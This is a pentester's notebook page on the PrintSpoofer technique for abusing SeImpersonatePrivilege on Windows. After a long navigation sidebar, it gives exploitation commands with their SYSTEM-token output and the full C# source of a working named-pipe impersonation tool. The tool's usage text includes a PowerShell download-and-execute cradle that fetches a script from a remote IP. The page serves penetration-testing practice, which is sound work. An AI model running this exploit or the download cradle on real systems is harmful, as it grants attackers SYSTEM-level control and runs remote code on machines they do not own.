Pentester's Promiscuous Notebook
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
      • Covenant
      • Empire
      • Havoc
      • Meterpreter
      • PoshC2
      • Sliver
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
          • dNSHostName Spoofing (Certifried)
          • ESC1
          • ESC4
          • ESC8
          • ESC15
          • Golden Certificate
          • Pass-the-Certificate
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • BadSuccessor
        • Credentials Harvesting
          • From Memory
            • lsass.exe
            • svchost.exe
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
        • Discovery
        • DnsAdmins
        • Dominance
        • GPO Abuse
        • Kerberos
          • Delegation Abuse
            • Constrained
            • Resource-based Constrained
            • Unconstrained
          • Kerberos Relay
          • Roasting
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
          • DCOM
          • Overpass-the-Hash
          • Pass-the-Hash
          • Pass-the-Ticket
          • RDP
          • RPC
          • RunAs
          • SMB
          • SPN-jacking
          • WinRM / PSRemoting
          • WMI
        • LDAP
        • NTLM
          • NTLM Relay
          • NTLMv1 Downgrade
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
        • On-Prem ↔ Cloud
          • Cloud → On-Prem
          • On-Prem → Cloud
        • PRT Abuse
      • DevOps
        • Ansible
        • Artifactory
        • Atlassian
        • Containerization / Orchestration
        • GitLab
        • HashiCorp Vault
        • Jenkins
        • VS Code
        • Zabbix
      • DBMS
        • FireBird
        • MS SQL
        • MySQL / MariaDB
        • Oracle
        • Redis
        • SQLite
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
        • L2
          • ARP Spoofing
          • DHCPv6 Spoofing
          • LLMNR / NBNS Poisoning
          • SNACs Abuse
          • VLAN Hopping
        • NAC Bypass
        • Scanning
        • SIP / VoIP
        • Sniff Traffic
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
      • Shodan
    • Password Brute Force
      • Generate Wordlists
    • Perimeter
      • 1C
      • ADFS
      • Cisco
      • DNS
      • Exchange
      • Information Gathering
      • IPSec
      • Java RMI
      • Log4j / Log4Shell
      • Lync & Skype for Business
      • NTP
      • Outlook
      • OWA
      • SharePoint
      • SMTP
      • SSH
      • Subdomain Takeover
    • Shells
      • Reverse Shells
      • Web Shells
    • Web
      • 2FA Bypass
      • LFI / RFI
      • SOP / CORS
      • SQLi
      • WAF
      • WordPress
      • XSS
    • Wi-Fi
      • WPA / WPA2
        • Enterprise
        • Personal
  • ⚔️Red Team
    • Basics
    • Cobalt Strike
      • UDRL
    • Infrastructure
    • MalDev
      • API Hashing
      • API Hooking
      • BOF / COFF
      • CFG
      • Code Injection
        • DLL Injectors
        • Process Hollowing
        • Process Injectors
        • Shellcode Runners
      • DLL Hijacking
      • Golang
      • Kernel Mode
      • PIC / Shellcode
      • Nim
      • Sandbox Evasion
      • Syscalls
      • Windows API
    • SE
      • Phishing
        • HTML Smuggling
        • MS Office
        • Rogue RDP
  • 🐞Exploit Dev
    • BOF
      • OSCP BOF
      • OSED SEH Overflow
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
      • Kali
    • Networking
      • DHCP Server & Linux Hotspot
      • Quick Configurations
      • Routing
      • WireGuard
    • Virtualization
      • Docker
      • Hyper-V
      • VirtualBox
      • VMWare
    • Windows
Powered by GitBook
On this page
  1. Pentest
  2. Infrastructure
  3. AD
  4. Privileges Abuse
  5. SeImpersonatePrivilege

PrintSpoofer

Last updated 2 years ago

Check if Print Spooler service is running:

PS > Get-Service Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

Exploit:

PS > . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Users\snovvcrash\music\pwn.exe"

C# Implementation

Cmd > \SharpPrintSpoofer.exe \\.\pipe\test\pipe\spoolss cmd -i
Cmd > .\SpoolSample.exe srv01 srv01/pipe/test
Or
Cmd > .\MS-RPRN.exe \\srv01 \\srv01/pipe/test

[*] Named pipe \\.\pipe\test\pipe\spoolss listening...
[+] A client connected!
[+] Token impersonated!
  |  SID: S-1-5-18
  \_ Name: NT AUTHORITY\SYSTEM
[*] Executing command: cmd
SharpPrintSpoofer.cs
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;

namespace SharpPrintSpoofer
{
    class Program
    {
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public struct TOKEN_USER
        {
            public SID_AND_ATTRIBUTES User;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct SID_AND_ATTRIBUTES
        {
            public IntPtr Sid;
            public int Attributes;
        }

        [DllImport("advapi32.dll")]
        static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, IntPtr SecurityDescriptorSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, ref SECURITY_ATTRIBUTES lpSecurityAttributes);

        [DllImport("kernel32.dll")]
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);

        [DllImport("advapi32.dll")]
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentThread();

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetTokenInformation(IntPtr TokenHandle, uint tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int ReturnLength);

        [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool ConvertSidToStringSid(IntPtr Sid, out IntPtr StringSid);

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);

        [DllImport("userenv.dll", SetLastError = true)]
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool RevertToSelf();

        [DllImport("kernel32.dll")]
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);

        [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
        static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.WriteLine("Usage: SharpPrintSpoofer.exe <PIPENAME>\n\nExamples:\n\nSharpPrintSpoofer.exe \\\\.\\pipe\\test cmd -i\nSharpPrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss \"powershell -exec bypass -c iex(new-object net.webclient).downloadstring('http://10.10.13.37/run.txt')\"");
                return;
            }

            string pipeName = args[0];
            string execCommand = args[1];
            bool execInteractively = args.Length == 3 && args[2] == "-i" ? true : false;

            // Prepare a new permission set for the pipe (Allowed GenercAll for Everyone)
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
            ConvertStringSecurityDescriptorToSecurityDescriptor(
                "D:(A;OICI;GA;;;WD)",
                1,
                out sa.lpSecurityDescriptor,
                IntPtr.Zero);

            // Create the named pipe
            IntPtr hPipe = CreateNamedPipe(
                pipeName,
                3, // PIPE_ACCESS_DUPLEX
                0, // PIPE_TYPE_BYTE | PIPE_WAIT
                10,
                0x1000,
                0x1000,
                0,
                ref sa);

            // Start the named pipe server to listen for connections
            Console.WriteLine($"[*] Named pipe {pipeName} listening...");
            ConnectNamedPipe(hPipe, IntPtr.Zero);

            // When a client connects, impersonate his token
            Console.WriteLine("[+] A client connected!");
            ImpersonateNamedPipeClient(hPipe);

            // Open a handle for the impersonated token
            IntPtr hToken;
            OpenThreadToken(
                GetCurrentThread(),
                0xF01FF, // TOKEN_ALL_ACCESS
                false,
                out hToken);

            // BEGIN DEBUG (print impersonated token SID)
            int tokenInfLength = 0;
            GetTokenInformation(
                hToken,
                1, // TokenUser
                IntPtr.Zero,
                tokenInfLength,
                out tokenInfLength);

            IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);
            GetTokenInformation(
                hToken,
                1, // TokenUser
                tokenInformation,
                tokenInfLength,
                out tokenInfLength);

            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_USER));
            IntPtr pStringSid = IntPtr.Zero;
            ConvertSidToStringSid(TokenUser.User.Sid, out pStringSid);
            string stringSid = Marshal.PtrToStringAuto(pStringSid);
            Console.WriteLine($"[+] Token impersonated!\n  |  SID: {stringSid}");
            Marshal.FreeHGlobal(tokenInformation);
            // END DEBUG

            // Duplicate impersonated token (i.e., convert the impersonated token to a primary token for CreateProcessWithTokenW)
            IntPtr hSystemToken = IntPtr.Zero;
            DuplicateTokenEx(
                hToken,
                0xF01FF, // TOKEN_ALL_ACCESS
                IntPtr.Zero,
                2, // SecurityImpersonation
                1, // TokenPrimary
                out hSystemToken);

            String name = WindowsIdentity.GetCurrent().Name;
            Console.WriteLine($"  \\_ Name: {name}");

            // Revert to self to successfully CreateProcessWithTokenW
            RevertToSelf();

            // if not execInteractively
            uint dwLogonFlags = 0;
            uint dwCreationFlags = 0x8000000; // CREATE_NO_WINDOW
            IntPtr lpEnvironment = IntPtr.Zero;
            STARTUPINFO si = new STARTUPINFO();
            si.cb = Marshal.SizeOf(si);
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            if (execInteractively)
            {
                dwLogonFlags = 1; // LOGON_WITH_PROFILE
                dwCreationFlags = 0x400; // CREATE_UNICODE_ENVIRONMENT
                CreateEnvironmentBlock(out lpEnvironment, hToken, false);
                si.lpDesktop = @"WinSta0\Default";
            }

            // Get the system directory
            //StringBuilder sbSystemDir = new StringBuilder(256);
            //GetSystemDirectory(sbSystemDir, 256);

            // Create a new process based on execCommand (binary and args) with the impersonated token
            Console.WriteLine($"[*] Executing command: {execCommand}");
            CreateProcessWithTokenW(
                hSystemToken,
                dwLogonFlags,
                null,
                execCommand,
                dwCreationFlags,
                lpEnvironment,
                null, // sbSystemDir.ToString(),
                ref si,
                out pi);
        }
    }
}
⚒️
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
https://github.com/itm4n/PrintSpoofer
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-BadPotato.ps1
https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
https://github.com/S3cur3Th1sSh1t/NamedPipePTH/blob/main/Resources/PipeServerImpersonate/PipeServer.cpp
https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/16f8f7a90a543a0f5a3f70d3d02e8f120273e6ed/SharpNamedPipePTH/PipeServerImpersonate.cs
https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/PrintSpoofer.NET